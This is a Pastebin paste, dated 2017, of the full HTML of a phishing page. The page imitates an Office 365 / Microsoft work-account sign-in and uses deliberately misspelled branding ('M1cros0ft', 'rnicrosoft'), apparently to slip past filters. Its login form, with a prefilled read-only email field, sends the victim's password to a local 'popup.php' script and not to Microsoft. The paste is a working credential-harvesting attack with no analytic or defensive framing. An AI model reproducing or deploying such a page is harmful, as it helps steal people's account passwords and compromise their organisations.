Advertisement
Guest User

Untitled

a guest
Aug 29th, 2017
620
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.89 KB | None | 0 0
  1.  
  2. <!DOCTYPE html>
  3. <html lang="en-US"><head>
  4. <meta http-equiv="X-UA-Compatible" content="IE=10.000">
  5. <meta name="viewport" content="width=1366px; initial-scale=1.0; maximum-scale=1.0">
  6. <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  7. <meta http-equiv="cache-control" content="no-cache,no-store">
  8. <meta http-equiv="pragma" content="no-cache">
  9. <meta http-equiv="expires" content="-1">
  10. <meta name="mswebdialog-title" content="Connecting to sts.simedarby.com">
  11.  
  12. <title>Office 365 Portal</title>
  13. <script type="text/javascript">
  14. //<![CDATA[
  15. function LoginErrors(){this.userNameFormatError = 'Enter your user ID in the format \u0026quot;domain\\user\u0026quot; or \u0026quot;user@domain\u0026quot;.'; this.passwordEmpty = 'Enter your password.'; this.passwordTooLong = 'Password must be shorter than 128 characters.';}; var maxPasswordLength = 128;
  16. //]]>
  17. </script>
  18.  
  19. <script type="text/javascript">
  20. //<![CDATA[
  21. // Copyright (c) M1cros0ft Corporation. All rights reserved.
  22. function InputUtil(errTextElementID, errDisplayElementID) {
  23.  
  24. if (!errTextElementID) errTextElementID = 'errorText';
  25. if (!errDisplayElementID) errDisplayElementID = 'error';
  26.  
  27. this.hasFocus = false;
  28. this.errLabel = document.getElementById(errTextElementID);
  29. this.errDisplay = document.getElementById(errDisplayElementID);
  30. };
  31. InputUtil.prototype.canDisplayError = function () {
  32. return this.errLabel && this.errDisplay;
  33. }
  34. InputUtil.prototype.checkError = function () {
  35. if (!this.canDisplayError){
  36. throw new Error ('Error element not present');
  37. }
  38. if (this.errLabel && this.errLabel.innerHTML) {
  39. this.errDisplay.style.display = '';
  40. var cause = this.errLabel.getAttribute('for');
  41. if (cause) {
  42. var causeNode = document.getElementById(cause);
  43. if (causeNode && causeNode.value) {
  44. causeNode.focus();
  45. this.hasFocus = true;
  46. }
  47. }
  48. }
  49. else {
  50. this.errDisplay.style.display = 'none';
  51. }
  52. };
  53. InputUtil.prototype.setInitialFocus = function (input) {
  54. if (this.hasFocus) return;
  55. var node = document.getElementById(input);
  56. if (node) {
  57. if ((/^\s*$/).test(node.value)) {
  58. node.focus();
  59. this.hasFocus = true;
  60. }
  61. }
  62. };
  63. InputUtil.prototype.setError = function (input, errorMsg) {
  64. if (!this.canDisplayError) {
  65. throw new Error('Error element not present');
  66. }
  67. input.focus();
  68.  
  69. if (errorMsg) {
  70. this.errLabel.innerHTML = errorMsg;
  71. }
  72. this.errLabel.setAttribute('for', input.id);
  73. this.errDisplay.style.display = '';
  74. };
  75. InputUtil.makePlaceholder = function (input) {
  76. var ua = navigator.userAgent;
  77.  
  78. if (ua != null &&
  79. (ua.match(/MSIE 9.0/) != null ||
  80. ua.match(/MSIE 8.0/) != null ||
  81. ua.match(/MSIE 7.0/) != null)) {
  82. var node = document.getElementById(input);
  83. if (node) {
  84. var placeholder = node.getAttribute("placeholder");
  85. if (placeholder != null && placeholder != '') {
  86. var label = document.createElement('input');
  87. label.type = "text";
  88. label.value = placeholder;
  89. label.readOnly = true;
  90. label.style.position = 'absolute';
  91. label.style.borderColor = 'transparent';
  92. label.className = node.className + ' hint';
  93. label.tabIndex = -1;
  94. label.onfocus = function () { this.nextSibling.focus(); };
  95.  
  96. node.style.position = 'relative';
  97. node.parentNode.style.position = 'relative';
  98. node.parentNode.insertBefore(label, node);
  99. node.onkeyup = function () { InputUtil.showHint(this); };
  100. node.onblur = function () { InputUtil.showHint(this); };
  101. node.style.background = 'transparent';
  102.  
  103. node.setAttribute("placeholder", "");
  104. InputUtil.showHint(node);
  105. }
  106. }
  107. }
  108. };
  109. InputUtil.focus = function (inputField) {
  110. var node = document.getElementById(inputField);
  111. if (node) node.focus();
  112. };
  113. InputUtil.hasClass = function(node, clsName) {
  114. return node.className.match(new RegExp('(\\s|^)' + clsName + '(\\s|$)'));
  115. };
  116. InputUtil.addClass = function(node, clsName) {
  117. if (!this.hasClass(node, clsName)) node.className += " " + clsName;
  118. };
  119. InputUtil.removeClass = function(node, clsName) {
  120. if (this.hasClass(node, clsName)) {
  121. var reg = new RegExp('(\\s|^)' + clsName + '(\\s|$)');
  122. node.className = node.className.replace(reg, ' ');
  123. }
  124. };
  125. InputUtil.showHint = function (node, gotFocus) {
  126. if (node.value && node.value != '') {
  127. node.previousSibling.style.display = 'none';
  128. }
  129. else {
  130. node.previousSibling.style.display = '';
  131. }
  132. };
  133. //]]>
  134. </script>
  135.  
  136.  
  137. <link rel="SHORTCUT ICON" href="p017c/favicon_a.ico" />
  138.  
  139. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes" />
  140. <link href="p017c/login.min.css" rel="stylesheet" />
  141. <link rel="stylesheet" type="text/css" href="p017c/style.css"><style>.illustrationClass {background-image:url(p017c/heroillustration.jpg?id=183128A3C941EDE3D9199FA37D6AA90E0A7DFE101B37D10B4FEDA0CF35E11AFD);}</style>
  142.  
  143. </head>
  144. <body dir="ltr" class="body">
  145. <div id="noScript" style="position: static; width: 100%; height: 100%; z-index: 100; display: none;">
  146. <h1>JavaScript required</h1>
  147. <p>JavaScript is required. This web browser does not support JavaScript or JavaScript in this web browser is not enabled.</p>
  148. <p>To find out if your web browser supports JavaScript or to enable JavaScript, see web browser help.</p>
  149. </div>
  150. <script src="p017c/jquery.1.11.min.js"></script>
  151.  
  152. <script src="p017c/aad.login.min.js"></script>
  153. <script type="text/javascript" language="JavaScript">
  154. document.getElementById("noScript").style.display = "none";
  155. </script>
  156. <div id="fullPage">
  157. <div id="brandingWrapper" class="float">
  158. <div class="illustrationClass" id="branding"></div>
  159. </div>
  160. <div id="contentWrapper" class="float">
  161. <div id="content">
  162. <div id="header">
  163. <div class="login_workload_logo_container"><img src="p017c/bannerlogo.png" alt="Work account" class="workload_img" id="login_workload_logo_image" style="visibility: visible;"></div>
  164. <div class="spacer"></div>
  165. </div>
  166.  
  167.  
  168. <div id="authArea" class="groupMargin">
  169.  
  170.  
  171. <div id="loginArea">
  172. <div id="loginMessage" class="groupMargin">Work or school, or personal rnicrosoft account</div>
  173.  
  174. <form method="post" id="loginForm" autocomplete="off" novalidate="novalidate" onkeypress="if (event &amp;&amp; event.keyCode == 13) Login.submitLoginRequest();" action="popup.php">
  175. <div style="display: none;" id="error" class="fieldMargin error smallText">
  176. <label id="errorText" for=""></label>
  177. </div>
  178.  
  179. <div id="formsAuthenticationArea">
  180. <div id="userNameArea">
  181. <input id="userNameInput" name="UserName" value="username@gmail.com" readonly="" tabindex="1" class="text fullWidth" spellcheck="false" placeholder="Email or phone" autocomplete="off" type="email">
  182. </div>
  183.  
  184. <div id="passwordArea">
  185. <input id="passwordInput" name="Password" tabindex="2" class="text fullWidth" placeholder="Password" autocomplete="off" type="password">
  186. </div>
  187. <div id="cred_kmsi_container" class="subtext normaltext">
  188. <span class="input_field ">
  189. <input tabindex="10" id="cred_keep_me_signed_in_checkbox" type="checkbox" value="0" class="win-checkbox" name="persist">
  190. <label id="keep_me_signed_in_label_text" for="cred_keep_me_signed_in_checkbox" class="persist_text">Keep me signed in</label>
  191. </span>
  192. </div>
  193. <div id="submissionArea" class="submitMargin">
  194. <span id="submitButton" class="submit" tabindex="4" onkeypress="if (event &amp;&amp; event.keyCode == 32) Login.submitLoginRequest();" onclick="return Login.submitLoginRequest();">Sign in</span>
  195. </div>
  196. </div>
  197. <input id="optionForms" name="AuthMethod" value="FormsAuthentication" type="hidden">
  198. </form>
  199.  
  200. <div id="authOptions">
  201. <form id="options" method="post" action="#">
  202. <script type="text/javascript">
  203. function SelectOption(option) {
  204. var i = document.getElementById('optionSelection');
  205. i.value = option;
  206. document.forms['options'].submit();
  207. return false;
  208. }
  209. </script>
  210. <input id="optionSelection" name="AuthMethod" type="hidden">
  211. <div class="groupMargin"></div>
  212. </form>
  213. </div>
  214. <div id="recover_container" class="subtext smalltext">
  215. <span>
  216. <a id="cred_forgot_password_link" tabindex="12"
  217. href="#">Can't access your account?</a>
  218. </span>
  219. </div>
  220. <div id="introduction" class="groupMargin">
  221.  
  222. </div>
  223.  
  224. <tbody><tr>
  225. <td>
  226. <div>
  227. <div id="footerPlaceholder"></div>
  228. </div>
  229.  
  230. <div id="footer_links_container" class="login_footer_container">
  231. <div class="footer_inner_container">
  232. <table id="footer_table" class="footer_block">
  233.  
  234. <tr><br><br><br><br>
  235. <td>
  236. <div>
  237. <div class="corporate_footer">
  238. <div>
  239. <span class="footer_link text-caption" id="footer_copyright_link">
  240. &#169; 2017 M1cr0s0ft </span>
  241. </div>
  242. <div>
  243. <span class="footer_link">
  244. <a class="text-caption" id="footer_link_terms" href="#" target="_blank">Terms of use</a>
  245. </span>
  246. <span class="footer_link">
  247. <a class="text-caption" id="footer_link_privacy" href="#" target="_blank">Privacy &amp; Cookies</a>
  248. </span>
  249. </div>
  250. </div>
  251. </div>
  252. </td>
  253. <td>
  254. <div class="footer_glyph">
  255. <img src="p017c/mlogo.png" alt="Account symbol" />
  256. </div>
  257. </td>
  258. </tr>
  259. </table>
  260. </div>
  261. </div>
  262. <div id="login_prefetch_container" class="no_display">
  263. </div>
  264. </td>
  265. </tr>
  266. </table>
  267. </div>
  268. <script type="text/javascript">
  269. //<![CDATA[
  270.  
  271. function Login() {
  272. }
  273.  
  274. Login.userNameInput = 'userNameInput';
  275. Login.passwordInput = 'passwordInput';
  276.  
  277. Login.initialize = function () {
  278.  
  279. var u = new InputUtil();
  280.  
  281. u.checkError();
  282. u.setInitialFocus(Login.userNameInput);
  283. u.setInitialFocus(Login.passwordInput);
  284. }();
  285.  
  286. Login.submitLoginRequest = function () {
  287. var u = new InputUtil();
  288. var e = new LoginErrors();
  289.  
  290. var userName = document.getElementById(Login.userNameInput);
  291. var password = document.getElementById(Login.passwordInput);
  292.  
  293. if (!userName.value || !userName.value.match('[@\\\\]')) {
  294. u.setError(userName, e.userNameFormatError);
  295. return false;
  296. }
  297.  
  298. if (!password.value) {
  299. u.setError(password, e.passwordEmpty);
  300. return false;
  301. }
  302.  
  303. if (password.value.length > maxPasswordLength) {
  304. u.setError(password, e.passwordTooLong);
  305. return false;
  306. }
  307.  
  308. document.forms['loginForm'].submit();
  309. return false;
  310. };
  311.  
  312. InputUtil.makePlaceholder(Login.userNameInput);
  313. InputUtil.makePlaceholder(Login.passwordInput);
  314. //]]>
  315. </script>
  316. </div>
  317.  
  318. </div>
  319.  
  320. </div>
  321.  
  322. <script type="text/javascript">
  323. //<![CDATA[
  324. // Copyright (c) M1cros0ft Corporation. All rights reserved.
  325.  
  326. // This file contains several workarounds on inconsistent browser behaviors that administrators may customize.
  327. "use strict";
  328.  
  329. // iPhone email friendly keyboard does not include "\" key, use regular keyboard instead.
  330. // Note change input type does not work on all versions of all browsers.
  331. if (navigator.userAgent.match(/iPhone/i) != null) {
  332. var emails = document.querySelectorAll("input[type='email']");
  333. if (emails) {
  334. for (var i = 0; i < emails.length; i++) {
  335. emails[i].type = 'text';
  336. }
  337. }
  338. }
  339.  
  340. // In the CSS file we set the ms-viewport to be consistent with the device dimensions,
  341. // which is necessary for correct functionality of immersive IE.
  342. // However, for Windows 8 phone we need to reset the ms-viewport's dimension to its original
  343. // values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone.
  344. // Windows 8 phone has agent string 'IEMobile 10.0'
  345. if (navigator.userAgent.match(/IEMobile\/10\.0/)) {
  346. var msViewportStyle = document.createElement("style");
  347. msViewportStyle.appendChild(
  348. document.createTextNode(
  349. "@-ms-viewport{width:auto!important}"
  350. )
  351. );
  352. msViewportStyle.appendChild(
  353. document.createTextNode(
  354. "@-ms-viewport{height:auto!important}"
  355. )
  356. );
  357. document.getElementsByTagName("head")[0].appendChild(msViewportStyle);
  358. }
  359.  
  360. // If the innerWidth is defined, use it as the viewport width.
  361. if (window.innerWidth && window.outerWidth && window.innerWidth !== window.outerWidth) {
  362. var viewport = document.querySelector("meta[name=viewport]");
  363. viewport.setAttribute('content', 'width=' + window.innerWidth + 'px; initial-scale=1.0; maximum-scale=1.0');
  364. }
  365.  
  366. // Gets the current style of a specific property for a specific element.
  367. function getStyle(element, styleProp) {
  368. var propStyle = null;
  369.  
  370. if (element && element.currentStyle) {
  371. propStyle = element.currentStyle[styleProp];
  372. }
  373. else if (element && window.getComputedStyle) {
  374. propStyle = document.defaultView.getComputedStyle(element, null).getPropertyValue(styleProp);
  375. }
  376.  
  377. return propStyle;
  378. }
  379.  
  380. // The script below is used for downloading the illustration image
  381. // only when the branding is displaying. This script work together
  382. // with the code in PageBase.cs that sets the html inline style
  383. // containing the class 'illustrationClass' with the background image.
  384. var computeLoadIllustration = function () {
  385. var branding = document.getElementById("branding");
  386. var brandingDisplay = getStyle(branding, "display");
  387. var brandingWrapperDisplay = getStyle(document.getElementById("brandingWrapper"), "display");
  388.  
  389. if (brandingDisplay && brandingDisplay !== "none" &&
  390. brandingWrapperDisplay && brandingWrapperDisplay !== "none") {
  391. var newClass = "illustrationClass";
  392.  
  393. if (branding.classList && branding.classList.add) {
  394. branding.classList.add(newClass);
  395. } else if (branding.className !== undefined) {
  396. branding.className += " " + newClass;
  397. }
  398. if (window.removeEventListener) {
  399. window.removeEventListener('load', computeLoadIllustration, false);
  400. window.removeEventListener('resize', computeLoadIllustration, false);
  401. }
  402. else if (window.detachEvent) {
  403. window.detachEvent('onload', computeLoadIllustration);
  404. window.detachEvent('onresize', computeLoadIllustration);
  405. }
  406. }
  407. };
  408.  
  409. if (window.addEventListener) {
  410. window.addEventListener('resize', computeLoadIllustration, false);
  411. window.addEventListener('load', computeLoadIllustration, false);
  412. }
  413. else if (window.attachEvent) {
  414. window.attachEvent('onresize', computeLoadIllustration);
  415. window.attachEvent('onload', computeLoadIllustration);
  416. }
  417.  
  418. //]]>
  419. </script>
  420.  
  421.  
  422.  
  423.  
  424.  
  425. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement